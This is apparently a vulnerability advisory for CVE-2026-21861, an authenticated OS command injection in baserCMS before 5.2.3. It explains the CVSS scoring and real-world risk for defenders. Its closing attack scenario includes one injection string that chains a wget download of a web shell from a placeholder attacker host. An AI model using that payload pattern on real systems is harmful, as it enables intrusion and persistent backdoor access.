Basercms CVE-2026-21861

Requires authenticated administrator access to baserCMS versions prior to 5.2.3. Attacker must have high-privilege admin credentials to access the core update functionality where OS command injection payload can be injected into user-controlled input fields processed by exec().

While the CVSS 9.1 Critical score reflects maximum technical impact (complete confidentiality, integrity, and availability compromise with scope change to other system components), real-world risk is substantially constrained by the PR:H (high privileges required) prerequisite. Exploitation demands authenticated administrator access, meaning the vulnerability primarily threatens environments where admin credentials are compromised, insider threats exist, or hosting providers manage multiple customer instances with shared administrative interfaces. The AV:N (network attack vector) and AC:L (low complexity) indicate remote exploitation is straightforward once authentication hurdles are cleared. No public exploit code identified at time of analysis and no CISA KEV listing suggests this is not being actively exploited in the wild. The scope change (S:C) elevates severity for containerized or virtualized deployments where OS-level command execution could enable container escape or lateral movement. Organizations should prioritize based on threat model: critical for managed hosting providers and shared environments, moderate priority for single-tenant deployments with strong administrative access controls.

An attacker who has compromised administrator credentials through phishing, credential stuffing, or insider access authenticates to the baserCMS administrative panel. They navigate to the core update functionality and inject malicious shell commands into input fields processed by the update routine, such as version parameters or file paths. For example, supplying a crafted input like '; wget attacker.com/shell.php -O /var/www/html/backdoor.php; echo ' would download and deploy a web shell, granting persistent access independent of the administrator session. From there, the attacker executes system reconnaissance commands, exfiltrates database credentials and customer data, establishes reverse shells for persistent access, or pivots to adjacent systems in hosting environments where scope change impacts are realized.